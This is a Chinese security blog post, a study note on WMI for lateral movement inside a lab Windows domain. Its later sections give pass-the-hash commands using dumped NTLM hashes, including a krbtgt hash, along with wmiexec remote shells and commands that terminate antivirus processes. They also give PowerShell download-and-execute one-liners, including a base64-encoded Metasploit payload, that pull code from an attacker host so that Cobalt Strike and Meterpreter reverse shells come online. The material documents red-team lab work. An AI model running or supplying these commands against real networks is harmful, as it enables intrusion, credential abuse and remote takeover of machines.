前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >WMI使用学习笔记

WMI使用学习笔记

作者头像
乌鸦安全
发布2022-12-19 16:02:34
2.2K0
发布2022-12-19 16:02:34
举报
文章被收录于专栏:乌鸦安全

✎ 阅读须知

乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!

本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!

更新时间:2022.06.19

说明

本文大量参考了师傅们的文章,感谢各位师傅的帮助!

代码语言:javascript
复制
https://docs.microsoft.com/zh-cn/windows/win32/wmisdk/about-wmi
https://mp.weixin.qq.com/s/0Nu8QQG99RNlB8HdlQgQsw
https://www.freebuf.com/articles/246440.html
https://mp.weixin.qq.com/s/RpSVKEiYaldAWekBcDzhfA

1. WMI介绍

WMI的全名为"Windows Management Instrumentation"。

win98开始,Windows操作系统都支持WMIWMI可以在本地或者远程管理计算机系统。比如:重启,关机,关闭进程,创建进程等。

代码语言:javascript
复制
具体可以参考:https://docs.microsoft.com/zh-cn/windows/win32/wmisdk/using-wmi

2. 环境准备

2.1 环境拓扑

2.1 账号信息

Windows7

  • • 账号: user02\crow
  • • 密码:Admin@123

Windows Server2008

  • • 账号:user03\administrator
  • • 密码:Admin@admin

Windows Server2019

  • • 账号:crow\administrator
  • • 密码:Admin@admin

hash信息

代码语言:javascript
复制
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:82e5d5062f762c89c5d1ace3177becad:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:87b0a2e198df7fbfc945b3210c7cd86c:::
crow:1000:aad3b435b51404eeaad3b435b51404ee:82e5d5062f762c89c5d1ace3177becad:::
test:1106:aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d:::
USER01$:1001:aad3b435b51404eeaad3b435b51404ee:7d95b2ff3d77850d49fcb63362f44156:::
USER02$:1104:aad3b435b51404eeaad3b435b51404ee:0d7e21bbdb31c5a26b934fe90040f08b:::
USER03$:1105:aad3b435b51404eeaad3b435b51404ee:b4853be788d2fdface8207ddf5ce2716:::

本文的环境均在域内进行操作,以上环境中均无杀软。

3. WMI常用命令

以下操作均在win7上执行。

3.1 WMI连接

首先我们执行如下命令,将输出结果保存在靶机winserver2008对应的C:\Windows\Temp目录下:

代码语言:javascript
复制
wmic /node:192.168.135.15 /user:administrator /password:Admin@admin process call create "cmd.exe /c whoami > C:\Windows\Temp\shell.txt"

此时在winserver08上已经出了结果,但是在win7上如何去查看呢?在这里还是需要IPC$来执行命令: 首先是建立连接:

代码语言:javascript
复制
net use \\192.168.135.15\ipc$  /u:"administrator"  "Admin@admin" 

然后查看下刚生成的文件:

代码语言:javascript
复制
type \\192.168.135.15\c$\windows\temp\shell.txt

在获取cmd之后,其实是可以进行任意操作的,但是由于wmic的隐蔽性更好,所以在这里可以使用wmic的命令来进行操作。

3.2 进程管理

参考于:https://mp.weixin.qq.com/s/0Nu8QQG99RNlB8HdlQgQsw

代码语言:javascript
复制
wmic process list brief    #列出所有进程,Full显示所有、Brief显示摘要、Instance显示实例、Status显示状态
wmic process get name,executablepath                           #获取所有进程名称以及可执行路径
wmic process where name="jqs.exe" get executablepath            #获取指定进程可执行路径
wmic process call create "C:\Program Files\Tencent\QQ\QQ.exe"   #创建新进程
wmic process call create "shutdown.exe -r -f -t 60"             #根据命令创建进程
wmic process where name="qq.exe" delete                    #根据进程名称删除进程
wmic process where pid="123" delete                        #根据PID删除进程

3.3 账号管理

参考于:https://mp.weixin.qq.com/s/0Nu8QQG99RNlB8HdlQgQsw

代码语言:javascript
复制
WMIC USERACCOUNT where "name='%UserName%'" call rename newUserName  #更改当前用户名

3.4 共享管理

参考于:https://mp.weixin.qq.com/s/0Nu8QQG99RNlB8HdlQgQsw

代码语言:javascript
复制
#建立共享
WMIC SHARE CALL Create "","test","3","TestShareName","","c:\test",0
(可使用 WMIC SHARE CALL Create /? 查看create后的参数类型)

#删除共享
WMIC SHARE where name="C$" call delete
WMIC SHARE where path='c:\test' delete

3.5 服务管理

参考于:https://mp.weixin.qq.com/s/0Nu8QQG99RNlB8HdlQgQsw

代码语言:javascript
复制
#更改telnet服务启动类型[Auto|Disabled|Manual]
wmic SERVICE where name="tlntsvr" set startmode="Auto"

#运行telnet服务
wmic SERVICE where name="tlntsvr" call startservice

#停止ICS服务
wmic SERVICE where name="ShardAccess" call stopservice

#删除test服务
wmic SERVICE where name="test" call delete

3.6 目录管理

参考于:https://mp.weixin.qq.com/s/0Nu8QQG99RNlB8HdlQgQsw

代码语言:javascript
复制
#列出c盘下名为test的目录
wmic FSDIR where "drive='c:' and filename='test'" list
#删除c:\good文件夹
wmic fsdir "c:\test" call delete
#重命名c:\test文件夹为abc
wmic fsdir "c:\test" rename "c:\abc"
wmic fsdir where (name='c:\test') rename "c:\abc"
#复制文件夹
wmic fsdir where name='d:\test' call copy "c:\test"
#重命名文件
wmic datafile "c:\test.txt" call rename c:\abc.txt

3.7 计划任务

参考于:https://mp.weixin.qq.com/s/0Nu8QQG99RNlB8HdlQgQsw

代码语言:javascript
复制
wmic job call create "notepad.exe",0,0,true,false,********154800.000000+480
wmic job call create "explorer.exe",0,0,1,0,********154600.000000+480

3.8 WMIC管理wmi

参考于:https://mp.weixin.qq.com/s/RpSVKEiYaldAWekBcDzhfA

代码语言:javascript
复制
wmic logon list brief #登录⽤户
wmic ntdomain list brief #域控机器
wmic useraccount list brief #⽤户列表
wmic share get name,path #查看系统共享
wmic service list brief |more #服务列表
wmic startup list full #识别开机启动的程序,包括路径
wmic fsdir "c:\\test" call delete #删除C盘下的test目录
wmic nteventlog get path,filename,writeable #查看系统中开启的⽇志
wmic nicconfig get ipaddress,macaddress #查看系统中⽹卡的IP地址和MAC地址
wmic qfe get description,installedOn #使⽤wmic识别安装到系统中的补丁情况
wmic product get name,version #查看系统中安装的软件以及版本,2008R2上执行后无反应。
wmic useraccount where "name='%UserName%'" call rename newUserName #更改当前用户名
wmic useraccount where "name='Administrator'" call Rename admin #更改指定用户名
wmic bios list full | findstr /i "vmware" #查看当前系统是否是VMWARE,可以按照实际情况进行筛选
wmic desktop get screensaversecure,screensavertimeout #查看当前系统是否有屏保保护,延迟是多少
wmic process where name="vmtoolsd.exe" get executablepath #获取指定进程可执行文件的路径
wmic environment where "name='temp'" get UserName,VariableValue #获取temp环境变量

###查询当前主机的杀毒软件
wmic process where "name like '%forti%'" get name
wmic process where name="FortiTray.exe" call terminate
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe
wmic /namespace:\\root\securitycenter2 path antispywareproduct GET displayName,productState, pathToSignedProductExe & wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
###

###查询windows机器版本和服务位数和.net版本
wmic os get caption
wmic os get osarchitecture
wmic OS get Caption,CSDVersion,OSArchitecture,Version
wmic product where "Name like 'Microsoft .Net%'" get Name, Version
###

###查询本机所有盘符
wmic logicaldisk list brief
wmic logicaldisk get description,name,size,freespace /value
###

###卸载和重新安装程序
wmic product where "name like '%Office%'" get name
wmic product where name="Office" call uninstall
###

### 查看某个进程的详细信息 (路径,命令⾏参数等)
wmic process where name="chrome.exe" list full
wmic process where name="frp.exe" get executablepath,name,ProcessId   进程路径
wmic process where caption="frp.exe" get caption,commandline /value
###

### 更改PATH环境变量值,新增c:\whoami
wmic environment where "name='path' and username='<system>'" set VariableValue="%path%;c:\whoami
###

### 查看某个进程的详细信息-PID
wmic process list brief
tasklist /SVC | findstr frp.exe
wmic process where ProcessId=3604 get ParentProcessId,commandline,processid,executablepath,name,CreationClassName,CreationDate
###

### 终⽌⼀个进程
wmic process where name ="xshell.exe" call terminate
ntsd -c q -p 进程的PID
taskkill -im pid
###

###获取电脑产品编号和型号信息
wmic baseboard get Product,SerialNumber
wmic bios get serialnumber
###

###安装软件
wmic product get name,version
wmic product list brief

3.9 Powershell操作wmi

于:https://mp.weixin.qq.com/s/RpSVKEiYaldAWekBcDzhfA

代码语言:javascript
复制
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Share  #共享
Get-WmiObject -Namespace ROOT\CIMV2 -Class CIM_DataFile #⽂件/⽬录列表
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Volume #磁盘卷列表
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Process #当前进程
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Service #列举服务
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_NtLogEvent #⽇志
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_LoggedOnUser #登陆账户
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_QuickFixEngineering #补丁
Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct #杀毒软件

###操作系统相关信息
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_OperatingSystem
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_ComputerSystem
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_BIOS
###

###注册表操作
Get-WmiObject -Namespace ROOT\DEFAULT -Class StdRegProv
Push-Location HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Get-ItemProperty OptionalComponents

4. impacket中的wmiexec.py

Impacket是一个Python类库,用于对SMB1-3或IPv4 / IPv6 上的TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB,MSRPC,NTLM,Kerberos,WMI,LDAP等协议进行低级编程访问。

地址:https://github.com/SecureAuthCorp/impacket

4.1 安装方法

代码语言:javascript
复制
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
pip3 install -r requements.txt
python3 setup.py install
如果在mac上,需要使用sudo python3 setup.py install

4.2 wmiexec.py使用方法

代码语言:javascript
复制
cd example

445端口未开启的时候:

4.2.1 有账号密码

如果有账号和密码的情况下:

代码语言:javascript
复制
# python3 wmiexec.py 用户名:密码@目标IP
python3 wmiexec.py administrator:Admin@admin@192.168.135.15 

在这里注意到当前有一个SMBv2.1 dialect used,这个的原因主要是该工具的使用条件是需要 445135 和高位随机的一个端口都允许通信。

用不用445端口取决于是否将结果返回,如果写注册表的话,就不需要返回,也就不需要445端口,sharpwmi 这个项⽬不依赖139445端⼝,但是还需要依赖 135 端⼝。

4.2.2 只有Hash的情况下

代码语言:javascript
复制
python3 wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP    // 哈希传递获得shell
python3 wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig"   // 执行命令

winserver08的hash信息
 [00000003] Primary
     * Username : Administrator
     * Domain   : USER03
     * LM       : d961cd0d7b411ca6e3fde35124ff2ad4
     * NTLM     : 82e5d5062f762c89c5d1ace3177becad
     * SHA1     : 4d7907fd1725cd4cf373bbe0a7d88af708752a8b


python3 wmiexec.py -hashes d961cd0d7b411ca6e3fde35124ff2ad4:82e5d5062f762c89c5d1ace3177becad user03/Administrator@192.168.135.15  

当然,在这里也可以不加域信息:

代码语言:javascript
复制
python3 wmiexec.py -hashes d961cd0d7b411ca6e3fde35124ff2ad4:82e5d5062f762c89c5d1ace3177becad Administrator@192.168.135.15  

5. wmiexec.exe

wmiexec可以理解为wmiexec.py的exe版本,下载地址为:https://github.com/maaaaz/impacket-examples-windows

当然,理论上来说,我们也可以自行编译,后续有机会的话,到时候再看下。

使用方法与wmiexec.py一模一样:

5.2.1 有账号密码

如果有账号和密码的情况下,在win7上操作winserver08

代码语言:javascript
复制
wmiexec.exe 用户名:密码@目标IP
wmiexec.exe administrator:Admin@admin@192.168.135.15 

5.2.2 只有Hash的情况下

代码语言:javascript
复制
wmiexec. -hashes LM Hash:NT Hash 域名/用户名@目标IP    // 哈希传递获得shell
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig"   // 执行命令

winserver08的hash信息
 [00000003] Primary
     * Username : Administrator
     * Domain   : USER03
     * LM       : d961cd0d7b411ca6e3fde35124ff2ad4
     * NTLM     : 82e5d5062f762c89c5d1ace3177becad
     * SHA1     : 4d7907fd1725cd4cf373bbe0a7d88af708752a8b


wmiexec.exe -hashes d961cd0d7b411ca6e3fde35124ff2ad4:82e5d5062f762c89c5d1ace3177becad Administrator@192.168.135.15   
wmiexec.exe -hashes d961cd0d7b411ca6e3fde35124ff2ad4:82e5d5062f762c89c5d1ace3177becad user03/Administrator@192.168.135.15  

注意,在这里一定要注意域名/用户名之间不要有空格:

6. Invoke-WmiCommand.ps1

Invoke-WmiCommand是PowerSploit-3.0.0中的一个工具,该项目最终更停在2015年,下载地址:

代码语言:javascript
复制
https://github.com/PowerShellMafia/PowerSploit/releases/tag/v3.0.0

该脚本主要通过powershell调用WMI来远程执行命令,并可以对命令结果回显。

本次在win7上加载该脚本,在CodeExecution目录下:

代码语言:javascript
复制
Import-Module : 无法加载文件 C:\Users\crow\Desktop\10_PowerSploit-3.0.0\CodeExecution\Invoke-WmiC
统中禁止执行脚本。有关详细信息,请参阅 "get-help about_signing"。
所在位置 行:1 字符: 14
+ Import-Module <<<<  .\Invoke-WmiCommand.ps1
    + CategoryInfo          : NotSpecified: (:) [Import-Module], PSSecurityException
    + FullyQualifiedErrorId : RuntimeException,Microsoft.PowerShell.Commands.ImportModuleCommand

此时的问题主要是没有设置powershell的脚本执行权限,在当前需要使用管理员身份来解除限制:

代码语言:javascript
复制
set-executionpolicy remotesigned 

然后选择y即可

Invoke-WmiCommand的使用方法:

代码语言:javascript
复制
#导入脚本
Import-Module .\Invoke-WmiCommand.ps1
#目标系统用户名
$User="administrator"
#目标系统密码
$Password=ConvertTo-SecureString -String "Admin@admin" -AsPlainText -Force
#将账号和密码整合起来,以便导入 Credential中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
#在远程系统中运行 ipconfig 命令
$Remote=Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.135.15
#将执行结果输出到屏幕上
$Remote.PayloadOutput


# $User为 域名\用户名
# -String为 "密码"
# -Payload为 {命令}
# -ComputerName为 目标IP

当然,在这里可以使用;将命令连接起来:

代码语言:javascript
复制
Import-Module .\Invoke-WmiCommand.ps1;$User = "administrator";$Password = ConvertTo-SecureString -String "Admin@admin" -AsPlainText -Force;$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password;$Remote=Invoke-WmiCommand -Payload {whoami} -Credential $Cred -ComputerName 192.168.135.15;$Remote.PayloadOutput

7. Invoke-WMIMethod.ps1

Invoke-WMIMethod.ps1模块是powershell自带的,可以在远程系统中执行命令和指定程序。 在powershell命令行环境执行命令,但是命令无法交互,并且没有结果回显。

命令如下:

代码语言:javascript
复制
$User="域名\用户名"    // 指定目标系统用户名
$Password=ConvertTo-SecureString -String "密码" -AsPlainText -Force   // 指定目标系统密码
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password     // 将账号和密码整合起来,以便导入 Credential中
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe" -ComputerName "目标机IP" -Credential $Cred   // 在远程系统中运行notepad.exe命令

命令参考自:https://www.freebuf.com/articles/246440.html

此时整和以下:

代码语言:javascript
复制
$User="administrator"    // 指定目标系统用户名
$Password=ConvertTo-SecureString -String "Admin@admin" -AsPlainText -Force   // 指定目标系统密码
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password     // 将账号和密码整合起来,以便导入 Credential中
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe" -ComputerName "192.168.135.15" -Credential $Cred   // 在远程系统中运行notepad.exe命令

放在一起:


$User="administrator";$Password=ConvertTo-SecureString -String "Admin@admin" -AsPlainText -Force;$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password;Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe" -ComputerName "192.168.135.15" -Credential $Cred  

8. wmiexec.vbs

wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式Shell

下载地址:

代码语言:javascript
复制
https://www.secpulse.com/wp-content/uploads/2015/05/cache-a360611dc24d240989799c29c555e4b7_wmiexec-v1_1.rar

8.1 使用方法

8.1.1 交互式shell

代码语言:javascript
复制
cscript.exe  //nologo wmiexec.vbs /shell 192.168.135.15 administrator Admin@admin
// cscript用于在Windows中执行脚本

8.1.2 非交互式shell

代码语言:javascript
复制
cscript.exe  //nologo wmiexec.vbs /cmd  192.168.135.15 administrator Admin@admin "命令"

在这里一定要注意空格问题,只能空一格:

8.2 -wait参数(中间无空格)

对于运行时间比较长的命令,例如ping、systeminfo,需要添加 -wait5000或者更长时间的参数。

在这里基本上很多资料都写成了 -wait 5000(空格),这是错误的写法。

此时加上-wait5000之后:

而网上的错误写法:

10. wmic上线cobalt strike

10.1 环境准备

首先准备好环境,设置监听:

在这里选择Web投递,然后选择生成:

此时生成了命令:

代码语言:javascript
复制
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.22.105:80/a'))"

10.2 WMIC上线

在这里可以使用很多方法去上线,在这里选择较为原生的wmi命令上线测试,在这个命令里面因为有多个双引号,所以对其中powershell命令的双引号进行转义:\

代码语言:javascript
复制
wmic /node:192.168.135.15 /user:administrator /password:Admin@admin process call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.22.105:80/a'))\""

执行成功之后,此时木马上线:

11. wmic上线msf

11.1 环境准备

在这里使用web_delivery功能上线msf

代码语言:javascript
复制
use exploit/multi/script/web_delivery
set payload 2

在这里修改下payload

代码语言:javascript
复制
set payload windows/meterpreter/reverse_tcp
options

设置lhost

代码语言:javascript
复制
set lhost 192.168.22.105
run
代码语言:javascript
复制
msf6 exploit(multi/script/web_delivery) >
[*] Started reverse TCP handler on 192.168.22.105:4444
[*] Using URL: http://0.0.0.0:8080/gJaUcE2msw
[*] Local IP: http://192.168.22.105:8080/gJaUcE2msw
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABpAG0AcwBCAG0APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AGkAZgAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQBdADoAOgBHAGUAdABEAGUAZgBhAHUAbAB0AFAAcgBvAHgAeQAoACkALgBhAGQAZAByAGUAcwBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQB7ACQAaQBtAHMAQgBtAC4AcAByAG8AeAB5AD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARwBlAHQAUwB5AHMAdABlAG0AVwBlAGIAUAByAG8AeAB5ACgAKQA7ACQAaQBtAHMAQgBtAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIAMgAuADEAMAA1ADoAOAAwADgAMAAvAGcASgBhAFUAYwBFADIAbQBzAHcALwBhAGwAbgBOAHcAMQBUACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAyAC4AMQAwADUAOgA4ADAAOAAwAC8AZwBKAGEAVQBjAEUAMgBtAHMAdwAnACkAKQA7AA==

11.2 wmic上线

在这可以选择两个方法上线:

代码语言:javascript
复制
wmic /node:192.168.135.15 /user:administrator /password:Admin@admin process call create "powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABpAG0AcwBCAG0APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AGkAZgAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQBdADoAOgBHAGUAdABEAGUAZgBhAHUAbAB0AFAAcgBvAHgAeQAoACkALgBhAGQAZAByAGUAcwBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQB7ACQAaQBtAHMAQgBtAC4AcAByAG8AeAB5AD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARwBlAHQAUwB5AHMAdABlAG0AVwBlAGIAUAByAG8AeAB5ACgAKQA7ACQAaQBtAHMAQgBtAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIAMgAuADEAMAA1ADoAOAAwADgAMAAvAGcASgBhAFUAYwBFADIAbQBzAHcALwBhAGwAbgBOAHcAMQBUACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAyAC4AMQAwADUAOgA4ADAAOAAwAC8AZwBKAGEAVQBjAEUAMgBtAHMAdwAnACkAKQA7AA=="

也可以仿cs上的web方式上线:

代码语言:javascript
复制
wmic /node:192.168.135.15 /user:administrator /password:Admin@admin process call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.22.105:8080/gJaUcE2msw'))\""

12. 总结

本文对WMI的基本用法做了一个归类,其中参考了众多师傅的文章,WMI的用法远不止于此,而且本文是未对存在杀软的环境进行分析,等以后有机会再去探讨吧。

再次感谢各位师傅的精彩文章,尤其是谢公子师傅的文章,非常感谢!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-10-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 说明
  • 1. WMI介绍
  • 2. 环境准备
    • 2.1 环境拓扑
      • 2.1 账号信息
      • 3. WMI常用命令
        • 3.1 WMI连接
          • 3.2 进程管理
            • 3.3 账号管理
              • 3.4 共享管理
                • 3.5 服务管理
                  • 3.6 目录管理
                    • 3.7 计划任务
                      • 3.8 WMIC管理wmi
                        • 3.9 Powershell操作wmi
                        • 4. impacket中的wmiexec.py
                          • 4.1 安装方法
                            • 4.2 wmiexec.py使用方法
                              • 4.2.1 有账号密码
                              • 4.2.2 只有Hash的情况下
                              • 5.2.1 有账号密码
                              • 5.2.2 只有Hash的情况下
                          • 5. wmiexec.exe
                          • 6. Invoke-WmiCommand.ps1
                          • 7. Invoke-WMIMethod.ps1
                          • 8. wmiexec.vbs
                            • 8.1 使用方法
                              • 8.1.1 交互式shell
                              • 8.1.2 非交互式shell
                            • 8.2 -wait参数(中间无空格)
                            • 10. wmic上线cobalt strike
                              • 10.1 环境准备
                                • 10.2 WMIC上线
                                • 11. wmic上线msf
                                  • 11.1 环境准备
                                    • 11.2 wmic上线
                                    • 12. 总结
                                    相关产品与服务
                                    访问管理
                                    访问管理(Cloud Access Management,CAM)可以帮助您安全、便捷地管理对腾讯云服务和资源的访问。您可以使用CAM创建子用户、用户组和角色,并通过策略控制其访问范围。CAM支持用户和角色SSO能力,您可以根据具体管理场景针对性设置企业内用户和腾讯云的互通能力。
                                    领券
                                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档